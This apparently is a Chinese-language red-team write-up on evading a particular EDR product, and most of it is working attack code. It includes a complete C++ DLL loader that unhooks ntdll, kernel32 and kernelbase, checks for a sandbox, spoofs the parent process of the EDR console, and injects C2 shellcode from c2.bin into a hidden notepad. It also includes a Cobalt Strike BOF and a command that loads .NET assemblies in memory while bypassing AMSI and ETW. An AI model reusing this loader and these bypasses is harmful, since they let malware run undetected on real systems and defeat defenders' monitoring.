文章目录
杀软分析
x64dgb简单调试发现该edr在r3环对ntdll.dll和kernel32.dll关键函数均存在hook,这里硬盘读取原来的dll进行重新加载,原理如图
loader
c
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <Windows.h>
#include <TlHelp32.h>
#include<stdlib.h>
#include<iostream>
#include <psapi.h>
BOOL EnableDebugPrivilege()
{
HANDLE token_handle;
LUID luid;
TOKEN_PRIVILEGES tkp;
//打开访问令牌
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &token_handle))
{
return FALSE;
}
//查询luid
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
{
CloseHandle(token_handle);
return FALSE;
}
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = luid;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
//调整访问令牌权限
if (!AdjustTokenPrivileges(token_handle, FALSE, &tkp, sizeof(tkp), NULL, NULL))
{
CloseHandle(token_handle);
return FALSE;
}
return TRUE;
}
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown
);
typedef FARPROC
(WINAPI
* pGetProcAddress)(
_In_ HMODULE hModule,
_In_ LPCSTR lpProcName
);
typedef HMODULE
(WINAPI
* pLoadLibraryA)(
_In_ LPCSTR lpLibFileName
);
int ppidfunc(DWORD pid, LPVOID lpBuffer, DWORD dwFileSize) {
PROCESS_INFORMATION pi = { 0 };
STARTUPINFOEXA si = { 0 };
SIZE_T sizeToAllocate;
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
//getparenthandle
HANDLE parentProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
//UpdateProcThreadAttribute
InitializeProcThreadAttributeList(NULL, 1, 0, &sizeToAllocate);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeToAllocate);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &sizeToAllocate);
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentProcessHandle, sizeof(HANDLE), NULL, NULL);
//CreateProcess
CreateProcessA(NULL, (LPSTR)"notepad.exe", NULL, NULL, TRUE, CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi);
LPVOID lpBaseAddress = VirtualAllocEx(pi.hProcess, NULL, dwFileSize, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, lpBaseAddress, (LPVOID)lpBuffer, dwFileSize, NULL);
HANDLE hRemoteThread = NULL;
DWORD ZwRet = 0;
HMODULE hNtdll = LoadLibrary(L"ntdll.dll");
typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)GetProcAddress(hNtdll, "ZwCreateThreadEx");
ZwRet = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, pi.hProcess, (LPTHREAD_START_ROUTINE)lpBaseAddress, NULL, 0, 0, 0, 0, NULL);
WaitForSingleObject(hRemoteThread, INFINITE);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
CloseHandle(parentProcessHandle);
return 0;
}
BOOL box()
{
MEMORYSTATUSEX memoryStatus;
memoryStatus.dwLength = sizeof(MEMORYSTATUSEX);
GlobalMemoryStatusEx(&memoryStatus);
DWORDLONG RAMMB = memoryStatus.ullTotalPhys / 1024 / 1024 / 1024; //内存RAMMB(G)
if (RAMMB > 2)
{
SYSTEM_INFO systemInfo;
GetSystemInfo(&systemInfo);
DWORD numberOfProcessors = systemInfo.dwNumberOfProcessors;
if (numberOfProcessors > 4)
return FALSE;
}
else
return TRUE;
}
BOOL isPrime(long long number) {
if (number <= 1)
return FALSE;
int i = 2;
for (; i <= number; ++i) {
if (number % i == 0) {
return FALSE;
}
}
return TRUE;
}
DWORD UNHOOKntdll(char* dllname) {
MODULEINFO mi = {};
HMODULE ntdllModule = GetModuleHandleA(dllname);
GetModuleInformation(HANDLE(-1), ntdllModule, &mi, sizeof(mi));
char nn[100] = { 0 };
LPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll;//mi.lpBaseOfDll=ntdllModule
sprintf_s(nn, "c:\\windows\\system32\\%s", dllname);
HANDLE ntdllFile = CreateFileA((LPCSTR)nn, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
HANDLE ntdllMapping = CreateFileMapping(ntdllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0);
PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase;
PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + hookedDosHeader->e_lfanew);
for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) {
PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));
if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) {
DWORD oldProtection = 0;
bool isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection);
memcpy((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize);
isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);
}
}
CloseHandle(ntdllFile);
CloseHandle(ntdllMapping);
FreeLibrary(ntdllModule);
return 0;
}
DWORD FindProcPid() {
HANDLE hProcessSnap = NULL;
BOOL bRet = FALSE;
PROCESSENTRY32 pe32 = { 0 };
DWORD dwProcessId = 0;
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
pe32.dwSize = sizeof(PROCESSENTRY32);
if (hProcessSnap != INVALID_HANDLE_VALUE) {
bRet = Process32First(hProcessSnap, &pe32);
while (bRet) {
if (!_wcsicmp(pe32.szExeFile, L"EPConsole.exe")) {
dwProcessId = pe32.th32ProcessID;
break;
}
bRet = Process32Next(hProcessSnap, &pe32);
}
}
return dwProcessId;
}
int killme()
{
char g_TargetFile[] = "c2.bin";
//打开文件
HANDLE hFile = CreateFileA((LPCSTR)g_TargetFile, GENERIC_READ, NULL, NULL, OPEN_EXISTING, 0, NULL);
//获取文件大小
DWORD dwFileSize = GetFileSize(hFile, NULL);
//申请一块内存空间
PVOID lpBuffer = VirtualAlloc(NULL, dwFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
//将内存读取到申请的内存空间
DWORD dwReadLength = 0;
ReadFile(hFile, lpBuffer, dwFileSize, &dwReadLength, NULL);
//关闭文件
CloseHandle(hFile);
if (box()) {
isPrime(1000000000000000003);
}
else {
DWORD pid = FindProcPid();
UNHOOKntdll((char*)"ntdll.dll");
UNHOOKntdll((char*)"kernel32.dll");
UNHOOKntdll((char*)"kernelbase.dll");
//EnableDebugPrivilege();//对于获取system权限的进程而言需要管理员权限启动
ppidfunc(pid, lpBuffer, dwFileSize);
}
return 0;
}
extern "C" _declspec(dllexport) void test()
{
killme();
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
这里伪造成杀软的子进程形成父进程信任链,通过ZwCreateThreadEx对子进程注入上线
通过白名单+伪签名的黑dll上线,发现执行命令就死,猜测应该是cs的shell功能触发了edr的启发式导致被杀
BOF
这里通过BOF执行命令
c
#include "bofdefs.h"
extern "C" {
void go(char* buff, int len) {
DFR_LOCAL(KERNEL32, CreateToolhelp32Snapshot);
DFR_LOCAL(KERNEL32, Process32First);
DFR_LOCAL(KERNEL32, Process32Next);
DFR_LOCAL(KERNEL32, CloseHandle);
//add ...
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(pe32);
HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE)
{
BeaconPrintf(CALLBACK_OUTPUT," CreateToolhelp32Snapshot调用失败! \n");
return;
}
BOOL bMore = Process32First(hProcessSnap, &pe32);
while (bMore)
{
BeaconPrintf(CALLBACK_OUTPUT, "Process Name is : %s\t", pe32.szExeFile);
BeaconPrintf(CALLBACK_OUTPUT, "Process ID is: % d \n", pe32.th32ProcessID);
bMore = Process32Next(hProcessSnap, &pe32);
}
CloseHandle(hProcessSnap);
}
}
#ifndef BOF
void main(int argc, char* argv[]) {
go(NULL, 0);
}
#endif
inline-execute a.obj
.NET
发现还可以内存加载.NET,需要bypass etw和amsi
c#
using System;
using System.Runtime.InteropServices;
namespace coleak
{
class winfun
{
[DllImport("User32.dll")]
public static extern int MessageBox(IntPtr h, string m, string c, uint type);
[DllImport("kernel32.dll", EntryPoint = "Beep")]
public static extern bool mymethod(uint frequency, uint duration);
}
class Program
{
static void Main(string[] args)
{
winfun winfun = new winfun();
winfun.MessageBox((IntPtr)0, "yueyy", "coleak", (uint)0);
Random random = new Random();
for (int i = 0; i < 10000; i++)
{
winfun.mymethod((uint)random.Next(10000), 100);
}
Console.ReadLine();
}
}
}
inlineExecute-Assembly --dotnetassembly test.exe --amsi --etw --appdomain forRealLegit --mailslot forRealLegit